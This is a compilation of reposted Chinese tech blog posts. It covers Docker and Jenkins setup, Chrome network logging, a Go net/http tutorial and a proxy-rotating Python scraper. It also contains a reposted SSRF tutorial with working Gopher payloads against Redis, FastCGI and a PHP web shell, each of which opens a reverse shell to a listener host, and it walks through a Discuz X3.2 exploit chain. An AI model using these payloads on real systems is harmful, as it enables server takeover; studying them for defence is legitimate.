docker安装jenkins最新版本

1.pull一个jenkins镜像 docker pull jenkins/jenkins:lts;
这个是安装最新版的jenkins,如果安装旧版本,很多插件安装不上,docker环境下升级又比较麻烦。

image.png

2.查看已经安装的jenkins镜像 docker images;

image.png

查看是否是最新版 docker inspect ba607c18aeb7

image.png

3.创建一个jenkins目录 mkdir /home/jenkins_home;
4.启动一个jenkins容器 docker run -d –name jenkins_01 -p 8081:8080 -v /home/jenkins_01:/home/jenkins_01 jenkins/jenkins:lts ;

image.png

5.查看jenkins服务 docker ps | grep jenkins;

image.png

6.启动服务端 。localhost:8081;

image.png

7.进入容器内部docker exec -it jenkins_01 bash;
8.执行:cat /var/jenkins_home/secrets/initialAdminPassword,得到密码并粘贴过去

image.png


9.输入密码之后,重启docker镜像 docker restart {CONTAINER ID},安装完毕。

image.png

作者:王大合
链接:https://www.jianshu.com/p/12c9a9654f83
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

排查 Chrome 网络问题

有时用户请求接口或服务不一定是服务器的问题,也及有可能是用户网络问题。如果用户使用chrome,可以很方便的用chrome自带的网络请求分析工具:

1.在Chrome新开一个标签输入chrome://net-export/;
2.点击start logging disk,存储文件
3.切换到原页面,进行正常操作,操作完成之后,回到刚才的chrome://net-export/,点击stop logging

点击 netlog_viewer.  即 https://chromium.googlesource.com/catapult/+/master/netlog_viewer/

点击 选择文件

https://netlog-viewer.appspot.com/

选择刚才生成的json文件导入即可。

具体的选项和解释如下:

选项 您可以执行的操作
Capture(捕获)

选择如何捕获数据。

  • 选择 Discard old data under memory pressure(在内存不足时舍弃旧数据),避免因捕获数据时间过长而出现崩溃情况。
  • 选择 Include the actual bytes sent/received(包括发送/接收的实际字节),将此信息添加到日志中。如果您选择此选项,可能会导致日志文件过大,还可能会导致敏感数据泄露。

您随时可以 Stop(停止)或 Reset(重置)捕获设置。

Export(导出) 此选项从 Chrome 58 起就已弃用。请改为使用 chrome://net-export/
Import(导入) 将导出的 .json 格式的 net-internals 文件导入。然后,您就可以查看有关网络事件的信息了。
Proxy(代理) 查看浏览器所使用的代理设置的相关信息。如果没有使用代理,您就会看到 Use Direct connections(使用直接连接)。
Events(事件) 即时查看事件列表。事件包含套接字连接、SPDY 会话、HTTP-TCP 连接和网址请求。错误消息会以红色文字显示。
Timeline(时间轴) 查看包含信息的图表,例如打开或使用中的套接字数量、网址和 DNS 请求数量,或发送/接收的数据量。
DNS 查看设备的 DNS 查询日志。如果网页加载失败,此选项有助于排查相关问题。日志中会列出相应网址及其对应的 IP,还会包含 DNS 请求的时间。
Sockets(套接字) 查看打开和已使用的套接字的日志。您可以使用此日志排查高级网络问题。
Alt-Svc 查看与替代服务映射有关的信息。
HTTP/2 查看 HTTP/2 会话日志和替代服务映射。
QUIC 查看有关快速 UDP 互联网连接 (QUIC) 的信息。这是一种实验性网络协议,可优化依赖于 TCP 并以连接为目的的网络应用。您可以前往 chrome://flags/#enable-quic,启用或停用 QUIC。
SDCH 查看有关“面向 HTTP 的共享字典压缩”(SDCH) 的信息。这是一种数据压缩算法,会在编码或解码之前,先使用预先协议的字典调整内部状态。字典可能是事先存储在本地的,也可能是从其他地方上传或缓存的。
Cache(缓存) 查看已缓存条目和统计信息列表。
Modules(模块) 查看有效的 Chrome 扩展程序和应用的列表。
Tests(测试) 测试与特定网址的连接。
HSTS 在 HTTP 严格传输安全 (HSTS) 集中添加或删除域名,或查询当前的 HSTS 集。

HSTS 是网站强制执行 HTTPS 连接的一种方法。有关详情,请参阅 HTTP 严格传输安全

带宽(带宽) 查看自打开标签起所发送和接收的数据总量。
Prerender(预渲染) 查看处于活动状态的预渲染网站及其历史记录。
ChromeOS(Chrome 操作系统) 捕获有助于排查 Chrome 设备问题的设备日志。您可以:

  • 导入 ONC 文件:导入开放网络配置 (ONC) 文件。
  • 存储日志:将所有设备日志存储在一个 TGZ 文件中。
  • 执行网络调试:捕获特定网络界面(包括 Wi-Fi、以太网、蜂窝网络和微波存取全球互通 (WiMAX))的日志。

要了解如何检查 Chrome 设备日志,请参阅 Chrome 设备调试日志

该内容对您有帮助吗?

[转]利用 Gopher 协议拓展攻击面

1 概述

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

2 攻击面测试

2.1 环境

  • IP: 172.19.23.218
  • OS: CentOS 6

根目录下 1.php 内容为:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>

2.2 攻击内网 Redis

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

利用这个脚本攻击自身并抓包得到数据流:
2016-05-31_14:59:35.jpg

改成适配于 Gopher 协议的 URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

攻击:
2016-05-31_14:56:29.jpg

2.3 攻击 FastCGI

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
首先构造 exp:
2016-05-31_15:24:35.jpg

构造 Gopher 协议的 URL:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

攻击:
2016-05-31_15:26:25.jpg

2.4 攻击内网 Vulnerability Web

Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127.0.0.1 访问的 exp.php,内容为:

<?php system($_POST[e]);?>  

利用方式:

POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

e=bash -i >%26 /dev/tcp/172.19.23.228/2333 0>%261

构造 Gopher 协议的 URL:

gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

攻击:
2016-05-31_15:19:17.jpg

3 攻击实例

3.1 利用 Discuz SSRF 攻击 FastCGI

Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。
2016-06-02_10:06:00.jpg 2016-06-01_15:09:52.jpg
2016-06-02_10:06:52.jpg
测试 Gopher 协议是否可用,请求:

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2fgopher.php%3Fa.jpg%5B%2fimg%5D

其中 gopher.php 内容为:

<?php
header("Location: gopher://127.0.0.1:2333/_test");
?>

监听 2333 端口,访问上述 URL 即可验证:
2016-06-02_10:09:42.jpg

构造 FastCGI 的 Exp:

<?php
header("Location: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/127.0.0.1/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00");
?>

请求:

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2f1.php%3Fa.jpg%5B%2fimg%5D  

即可在 2333 端口上收到反弹的 shell:
2016-06-02_09:44:25.jpg

4 系统局限性

经过测试发现 Gopher 的以下几点局限性:

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

更多有待补充。
另外,并不限于 PHP 的 SSRF。当存在 XXE、ffmepg SSRF 等漏洞的时候,也可以进行利用。

5 更多攻击面

基于 TCP Stream 且不做交互的点都可以进行攻击利用,包括但不限于:

  • HTTP GET/POST
  • Redis
  • Memcache
  • SMTP
  • Telnet
  • 基于一个 TCP 包的 exploit
  • FTP(不能实现上传下载文件,但是在有回显的情况下可用于爆破内网 FTP)

更多有待补充。

6 参考

[转]Go net/http包

原文地址:https://studygolang.com/articles/9467

Go net/http包

这一篇就基本了解了go 的http包

Go Http客户端

get请求可以直接http.Get方法

package main

import (
	"fmt"
	"net/http"
	"log"
	"reflect"
	"bytes"
)

func main() {

	resp, err := http.Get("http://www.baidu.com")
	if err != nil {
		// handle error
		log.Println(err)
		return
	}

	defer resp.Body.Close()

	headers := resp.Header

	for k, v := range headers {
		fmt.Printf("k=%v, v=%v\n", k, v)
	}

	fmt.Printf("resp status %s,statusCode %d\n", resp.Status, resp.StatusCode)

	fmt.Printf("resp Proto %s\n", resp.Proto)

	fmt.Printf("resp content length %d\n", resp.ContentLength)

	fmt.Printf("resp transfer encoding %v\n", resp.TransferEncoding)

	fmt.Printf("resp Uncompressed %t\n", resp.Uncompressed)

	fmt.Println(reflect.TypeOf(resp.Body)) // *http.gzipReader

	buf := bytes.NewBuffer(make([]byte, 0, 512))

	length, _ := buf.ReadFrom(resp.Body)

	fmt.Println(len(buf.Bytes()))
	fmt.Println(length)
	fmt.Println(string(buf.Bytes()))
}

有时需要在请求的时候设置头参数、cookie之类的数据,就可以使用http.Do方法。

package main

import (
	"net/http"
	"strings"
	"fmt"
	"io/ioutil"
	"log"
	"encoding/json"
)

func main() {
	client := &http.Client{}

	req, err := http.NewRequest("POST", "http://www.maimaiche.com/loginRegister/login.do",
		strings.NewReader("mobile=xxxxxxxxx&isRemberPwd=1"))
	if err != nil {
		log.Println(err)
		return
	}

	req.Header.Set("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")

	resp, err := client.Do(req)

	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Println(err)
		return
	}

	fmt.Println(resp.Header.Get("Content-Type")) //application/json;charset=UTF-8

	type Result struct {
		Msg    string
		Status string
		Obj    string
	}

	result := &Result{}
	json.Unmarshal(body, result) //解析json字符串

	if result.Status == "1" {
		fmt.Println(result.Msg)
	} else {
		fmt.Println("login error")
	}
	fmt.Println(result)
}

如果使用http POST方法可以直接使用http.Post 或 http.PostForm,

package main

import (
	"net/http"
	"strings"
	"fmt"
	"io/ioutil"
)

func main() {
	resp, err := http.Post("http://www.maimaiche.com/loginRegister/login.do",
		"application/x-www-form-urlencoded",
		strings.NewReader("mobile=xxxxxxxxxx&isRemberPwd=1"))
	if err != nil {
		fmt.Println(err)
		return
	}

	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println(err)
		return
	}

	fmt.Println(string(body))
}

http.PostForm方法,

package main

import (
	"net/http"
	"fmt"
	"io/ioutil"
	"net/url"
)

func main() {

	postParam := url.Values{
		"mobile":      {"xxxxxx"},
		"isRemberPwd": {"1"},
	}

	resp, err := http.PostForm("http://www.maimaiche.com/loginRegister/login.do", postParam)
	if err != nil {
		fmt.Println(err)
		return
	}

	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println(err)
		return
	}

	fmt.Println(string(body))
}

 

Go Http服务器端

一切的基础:ServeMux 和 Handler

Go 语言中处理 HTTP 请求主要跟两个东西相关:ServeMux 和 Handler。

ServrMux 本质上是一个 HTTP 请求路由器(或者叫多路复用器,Multiplexor)。它把收到的请求与一组预先定义的 URL 路径列表做对比,然后在匹配到路径的时候调用关联的处理器(Handler)。

处理器(Handler)负责输出HTTP响应的头和正文。任何满足了http.Handler接口的对象都可作为一个处理器。通俗的说,对象只要有个如下签名的ServeHTTP方法即可:

ServeHTTP(http.ResponseWriter, *http.Request)

Go 语言的 HTTP 包自带了几个函数用作常用处理器,比如FileServer,NotFoundHandler 和 RedirectHandler。我们从一个简单具体的例子开始:

package main

import (
	"log"
	"net/http"
)

func main() {
	mux := http.NewServeMux()

	rh := http.RedirectHandler("http://www.baidu.com", 307)
	mux.Handle("/foo", rh)

	log.Println("Listening...")
	http.ListenAndServe(":3000", mux)
}

快速地过一下代码:

  1. 在 main 函数中我们只用了 http.NewServeMux 函数来创建一个空的 ServeMux。
  2. 然后我们使用 http.RedirectHandler 函数创建了一个新的处理器,这个处理器会对收到的所有请求,都执行307重定向操作到 http://www.baidu.com。
  3. 接下来我们使用 ServeMux.Handle 函数将处理器注册到新创建的 ServeMux,所以它在 URL 路径/foo 上收到所有的请求都交给这个处理器。
  4. 最后我们创建了一个新的服务器,并通过 http.ListenAndServe 函数监听所有进入的请求,通过传递刚才创建的 ServeMux来为请求去匹配对应处理器。

 

然后在浏览器中访问 http://localhost:3000/foo,你应该能发现请求已经成功的重定向了。

明察秋毫的你应该能注意到一些有意思的事情:ListenAndServer 的函数签名是 ListenAndServe(addr string, handler Handler) ,但是第二个参数我们传递的是个 ServeMux。

我们之所以能这么做,是因为 ServeMux 也有 ServeHTTP 方法,因此它也是个合法的 Handler。

对我来说,将 ServerMux 用作一个特殊的Handler是一种简化。它不是自己输出响应而是将请求传递给注册到它的其他 Handler。这乍一听起来不是什么明显的飞跃 – 但在 Go 中将 Handler 链在一起是非常普遍的用法。

 

自定义处理器(Custom Handlers)

让我们创建一个自定义的处理器,功能是将以特定格式输出当前的本地时间:

type timeHandler struct {
	format string
}

func (th *timeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	tm := time.Now().Format(th.format)
	w.Write([]byte("The time is: " + tm))
}

这个例子里代码本身并不是重点。

真正的重点是我们有一个对象(本例中就是个timerHandler结构体,但是也可以是一个字符串、一个函数或者任意的东西),我们在这个对象上实现了一个 ServeHTTP(http.ResponseWriter, *http.Request) 签名的方法,这就是我们创建一个处理器所需的全部东西。

我们把这个集成到具体的示例里:

//File: main.go

package main

import (
	"log"
	"net/http"
	"time"
)

type timeHandler struct {
	format string
}

func (th *timeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	tm := time.Now().Format(th.format)
	w.Write([]byte("The time is: " + tm))
}

func main() {
	mux := http.NewServeMux()

	th := &timeHandler{format: time.RFC1123}
	mux.Handle("/time", th)

	log.Println("Listening...")
	http.ListenAndServe(":3000", mux)
}

main函数中,我们像初始化一个常规的结构体一样,初始化了timeHandler,用 & 符号获得了其地址。随后,像之前的例子一样,我们使用 mux.Handle 函数来将其注册到 ServerMux。

现在当我们运行这个应用,ServerMux 将会将任何对 /time的请求直接交给 timeHandler.ServeHTTP 方法处理。

访问一下这个地址看一下效果:http://localhost:3000/time 。

注意我们可以在多个路由中轻松的复用 timeHandler:

//File: main.go

package main

import (
	"log"
	"net/http"
	"time"
)

type timeHandler struct {
	format string
}

func (th *timeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	tm := time.Now().Format(th.format)
	w.Write([]byte("The time is: " + tm))
}

func main() {
	mux := http.NewServeMux()

	th1123 := &timeHandler{format: time.RFC1123}
	mux.Handle("/time/rfc1123", th1123)

	th3339 := &timeHandler{format: time.RFC3339}
	mux.Handle("/time/rfc3339", th3339)

	log.Println("Listening...")
	http.ListenAndServe(":3000", mux)
}

 

将函数作为处理器

对于简单的情况(比如上面的例子),定义个新的有 ServerHTTP 方法的自定义类型有些累赘。我们看一下另外一种方式,我们借助 http.HandlerFunc 类型来让一个常规函数满足作为一个 Handler 接口的条件。

任何有 func(http.ResponseWriter, *http.Request) 签名的函数都能转化为一个 HandlerFunc 类型。这很有用,因为 HandlerFunc 对象内置了 ServeHTTP 方法,后者可以聪明又方便的调用我们最初提供的函数内容。

让我们使用这个技术重新实现一遍timeHandler应用:

package main

import (
	"log"
	"net/http"
	"time"
)

func timeHandler(w http.ResponseWriter, r *http.Request) {
	tm := time.Now().Format(time.RFC1123)
	w.Write([]byte("The time is: " + tm))
}

func main() {
	mux := http.NewServeMux()

	// Convert the timeHandler function to a HandlerFunc type
	th := http.HandlerFunc(timeHandler)
	// And add it to the ServeMux
	mux.Handle("/time", th)

	log.Println("Listening...")
	http.ListenAndServe(":3000", mux)
}

实际上,将一个函数转换成 HandlerFunc 后注册到 ServeMux 是很普遍的用法,所以 Go 语言为此提供了个便捷方式:ServerMux.HandlerFunc 方法。

我们使用便捷方式重写 main() 函数看起来是这样的:

package main

import (
	"log"
	"net/http"
	"time"
)

func timeHandler(w http.ResponseWriter, r *http.Request) {
	tm := time.Now().Format(time.RFC1123)
	w.Write([]byte("The time is: " + tm))
}

func main() {
	mux := http.NewServeMux()

	mux.HandleFunc("/time", timeHandler)

	log.Println("Listening...")
	http.ListenAndServe(":3000", mux)
}

绝大多数情况下这种用函数当处理器的方式工作的很好。但是当事情开始变得更复杂的时候,就会有些产生一些限制了。

你可能已经注意到了,跟之前的方式不同,我们不得不将时间格式硬编码到 timeHandler 的方法中。如果我们想从 main() 函数中传递一些信息或者变量给处理器该怎么办?

一个优雅的方式是将我们处理器放到一个闭包中,将我们要使用的变量带进去:

//File: main.go
package main

import (
	"log"
	"net/http"
	"time"
)

func timeHandler(format string) http.Handler {
	fn := func(w http.ResponseWriter, r *http.Request) {
		tm := time.Now().Format(format)
		w.Write([]byte("The time is: " + tm))
	}
	return http.HandlerFunc(fn)
}

func main() {
	mux := http.NewServeMux()

	th := timeHandler(time.RFC1123)
	mux.Handle("/time", th)

	log.Println("Listening...")
	http.ListenAndServe(":3000", mux)
}

timeHandler 函数现在有了个更巧妙的身份。除了把一个函数封装成 Handler(像我们之前做到那样),我们现在使用它来返回一个处理器。这种机制有两个关键点:

首先是创建了一个fn,这是个匿名函数,将 format 变量封装到一个闭包里。闭包的本质让处理器在任何情况下,都可以在本地范围内访问到 format 变量。

其次我们的闭包函数满足 func(http.ResponseWriter, *http.Request) 签名。如果你记得之前我们说的,这意味我们可以将它转换成一个HandlerFunc类型(满足了http.Handler接口)。我们的timeHandler 函数随后转换后的 HandlerFunc 返回。

 

在上面的例子中我们已经可以传递一个简单的字符串给处理器。但是在实际的应用中可以使用这种方法传递数据库连接、模板组,或者其他应用级的上下文。使用全局变量也是个不错的选择,还能得到额外的好处就是编写更优雅的自包含的处理器以便测试。

 

你也可能见过相同的写法,像这样:

func timeHandler(format string) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		tm := time.Now().Format(format)
		w.Write([]byte("The time is: " + tm))
	})
}

或者在返回时,使用一个到 HandlerFunc 类型的隐式转换:

func timeHandler(format string) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		tm := time.Now().Format(format)
		w.Write([]byte("The time is: " + tm))
	}
}

 

更便利的 DefaultServeMux

你可能已经在很多地方看到过 DefaultServeMux, 从最简单的 Hello World 例子,到 go 语言的源代码中。

我花了很长时间才意识到 DefaultServerMux 并没有什么的特殊的地方。DefaultServerMux 就是我们之前用到的 ServerMux,只是它随着 net/httpp 包初始化的时候被自动初始化了而已。Go 源代码中的相关行如下:

var DefaultServeMux = NewServeMux()

net/http 包提供了一组快捷方式来配合 DefaultServeMux:http.Handle 和 http.HandleFunc。这些函数与我们之前看过的类似的名称的函数功能一样,唯一的不同是他们将处理器注册到 DefaultServerMux ,而之前我们是注册到自己创建的 ServeMux。

此外,ListenAndServe在没有提供其他的处理器的情况下(也就是第二个参数设成了 nil),内部会使用 DefaultServeMux。

因此,作为最后一个步骤,我们使用 DefaultServeMux 来改写我们的 timeHandler应用:

//File: main.go
package main

import (
	"log"
	"net/http"
	"time"
)

func timeHandler(format string) http.Handler {
	fn := func(w http.ResponseWriter, r *http.Request) {
		tm := time.Now().Format(format)
		w.Write([]byte("The time is: " + tm))
	}
	return http.HandlerFunc(fn)
}

func main() {
	// Note that we skip creating the ServeMux...

	var format string = time.RFC1123
	th := timeHandler(format)

	// We use http.Handle instead of mux.Handle...
	http.Handle("/time", th)

	log.Println("Listening...")
	// And pass nil as the handler to ListenAndServe.
	http.ListenAndServe(":3000", nil)
}

======END======

python抓取的一些总结

python作为爬虫的最常见语言,很有自己的优势。这里举一些常见的用法。

1,使用scrapy框架。

https://scrapy-chs.readthedocs.io/zh_CN/0.24/intro/tutorial.html

2, 纯脚本

lib库

from concurrent.futures import ThreadPoolExecutor

from bs4 import BeautifulSoup

import Queue, time, random

import requests

提供一个比较粗糙的代码,使用到了python代理,queue,多线程,BeautifulSoup。最终print方法应该用线程锁避免打印错误。


#coding=utf-8
import requests
from concurrent.futures import ThreadPoolExecutor
import Queue, time, random
#import pymysql
from bs4 import BeautifulSoup
import re
import urllib
import urllib2
import gzip
import cStringIO
import datetime
import json
from StringIO import StringIO
import threading

import base64

index_url = 'https://www.juzimi.com/alltags'
page_url = 'https://www.juzimi.com/alltags?page=%s'

task_queue = Queue.Queue()

has_words = []
has_words_value = {}

lock=threading.Lock()

ip = ""
def getIp() :
global ip

url = 'http://s.zdaye.com/?api=201903221353043521&count=1&px=2'
ipret = curl(url, '', False, False)
time.sleep(5)
print "get ip:" + str(ipret)
ip = str(ipret)
def curl(url, data = '', isCompress = False, use_ip = True):

global ip
if(data):
data = urllib.urlencode(data)
else:
data = None
#headers = {"method":"GET","user-agent":self.ua,"Referer":self.refer, "Cookie":self.cookie, "Upgrade-Insecure-Requests": 1,"Accept-Encoding": "gzip, deflate, br"}
headers = {"method":"GET","Accept-Encoding": "gzip, deflate, br", "user-agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36"}

try :

#代理代码
if(use_ip) :
opener = urllib2.build_opener(urllib2.ProxyHandler({"https" : ip}))
urllib2.install_opener(opener)

request = urllib2.Request(url, data, headers)
response = urllib2.urlopen(request, timeout=10)

#response = opener.open(request)
if(isCompress) :
buf = StringIO(response.read())
data = gzip.GzipFile(fileobj=buf)
return data.read()
return response.read()

except :
exit()
getIp()
print "get ip retry"
self.curl(url, data, isCompress, use_ip)

#exit()

def setTaskR() :
task_queue.put({'url':'https://www.juzimi.com/tags/%E6%96%B0%E8%AF%97', 'title':'诗词'})

def setTask() :
#for i in range(0, 12) :
for i in range(0, 12) :
url = page_url % (i)
content = curl(url, '', True)
#print url
soup = BeautifulSoup(content, "html.parser")
span = soup.findAll('div',{'class':'views-field-name'})
for tmp in span :
data = {}
href = tmp.find('a').get('href')
title = tmp.find('a').get('title')
data = {"url":"https://www.juzimi.com" + href, "title" : title}
print data
task_queue.put(data)
#print tmp.get('title')
time.sleep(1)

def getFile() :

global has_words
global has_words_value

for line in open('word.log') :
if(line.find('juzimi.com') != -1) :
continue
line = line.split(":", 1)
if(len(line) > 1 and line[1] == 'test') :
continue

#print line[0]
if(not line[0] in has_words) :
has_words.append(line[0])
has_words_value[line[0]] = 1
#print line[0]
else :
has_words_value[line[0]] = has_words_value[line[0]] + 1
has_words = []
for k in has_words_value:
if(has_words_value[k] > 100) :
has_words.append(k)
for line in open('word.url') :
lines = eval(line)
url = lines['url']
title = lines['title'].encode('utf-8')
if(title in has_words) :
continue
task_queue.put(lines)

#runTask()
sleep_time = random.randint(30,60)
#time.sleep(sleep_time)
#time.sleep(60)

def runTask() :
while(not task_queue.empty()) :
data = task_queue.get()
printinfo =[]
hotword = data['title']
url = data['url']
hotword = hotword.encode('utf-8')
#print url
lastIndex = 0
content = curl(url, '', True)
#content = re.sub(r'\n|&nbsp|\xa0|\\xa0|\u3000|\\u3000|\\u0020|\u0020', '', str(content))
content = content.replace('<br/>', '')
content = content.replace('\r', ' ')
soup = BeautifulSoup(content, "html.parser")
last = soup.find('li', {'class', 'pager-last'})
if (not last) :

last = soup.findAll('li', {'class' : 'pager-item'})
if(not last) :
print "get empty:" + url
continue
for tmp in last :
if(int(tmp.text) > lastIndex) :
#print int(tmp.text)
lastIndex = int(tmp.text)
else :
lastIndex = last.text

span = soup.findAll('div',{'class', 'views-field-phpcode-1'})

if(not span) :
print "get empty:" + url
continue

#print url
for tmp in span :
words = tmp.findAll('a')
for word in words :
#printinfo.append({'hotword' : hotword, 'content' : word.text.encode('utf-8')})
print hotword + ":" + word.text.encode('utf-8')
#time.sleep(3)
sleep_time = random.randint(10,20)
#time.sleep(sleep_time)
for i in range(1, int(lastIndex)) :

url = "https://www.juzimi.com/tags/" +hotword + "?page=" + str(i)
#ret = getContent(url, hotword)

t = threading.Thread(target=getContent, args=(url, hotword))
t.start()
"""
for tmp in ret:
printinfo.append(tmp)
"""

"""
for tmp in printinfo :
print tmp['hotword'] + ":" + tmp['content']
"""

def getContent(url, hotword) :
printinfo =[]
#print url
content = curl(url, '', True)
#content = re.sub(r'\n|&nbsp|\xa0|\\xa0|\u3000|\\u3000|\\u0020|\u0020', '', str(content))
content = content.replace('<br/>', '')
content = content.replace('\r', ' ')
soup = BeautifulSoup(content, "html.parser")
last = soup.find('li', {'class', 'pager-last'})
span = soup.findAll('div',{'class', 'views-field-phpcode-1'})
for tmp in span :
words = tmp.findAll('a')
for word in words :
#printinfo.append({'hotword' : hotword, 'content' : word.text.encode('utf-8')})
print hotword + ":" + word.text.encode('utf-8')
sleep_time = random.randint(20,30)
#time.sleep(sleep_time)
#return printinfo

getIp()

getFile()

"""

#setTaskR()
#runTask()
#exit()
"""
executor = ThreadPoolExecutor(max_workers = 50)
#executor.submit(runTask)
#exit()
for i in range(0, 20) :
executor.submit(runTask)

&nbsp;

 

阿里云CentOS 7上安装配置Docker

Docker 是一个开源工具,它可以让创建和管理 Linux 容器变得简单。容器就像是轻量级的虚拟机,并且可以以毫秒级的速度来启动或停止。Docker 帮助系统管理员和程序员在容器中开发应用程序,并且可以扩展到成千上万的节点。

1

这是一只鲸鱼,它托着许多集装箱。我们可以把宿主机可当做这只鲸鱼,把相互隔离的容器可看成集装箱,每个集装箱中都包含自己的应用程序。

Docker与传统虚拟区别

传统虚拟化技术的体系架构:

2

Docker技术的体系架构:

3

容器和 VM(虚拟机)的主要区别是:

  • 容器提供了基于进程的隔离,而虚拟机提供了资源的完全隔离。
  • 虚拟机可能需要一分钟来启动,而容器只需要一秒钟或更短。
  • 容器使用宿主操作系统的内核,而虚拟机使用独立的内核。

Doker 平台的基本构成

4

Docker 平台基本上由三部分组成:

  • 客户端:用户使用 Docker 提供的工具(CLI 以及 API 等)来构建,上传镜像并发布命令来创建和启动容器
  • Docker 主机:从 Docker registry 上下载镜像并启动容器
  • Docker registry:Docker 镜像仓库,用于保存镜像,并提供镜像上传和下载
  • 后面的文章会具体分析。

Docker 容器的状态机

5

一个容器在某个时刻可能处于以下几种状态之一:

  • created:已经被创建 (使用 docker ps -a 命令可以列出)但是还没有被启动 (使用 docker ps 命令还无法列出)
  • running:运行中
  • paused:容器的进程被暂停了
  • restarting:容器的进程正在重启过程中
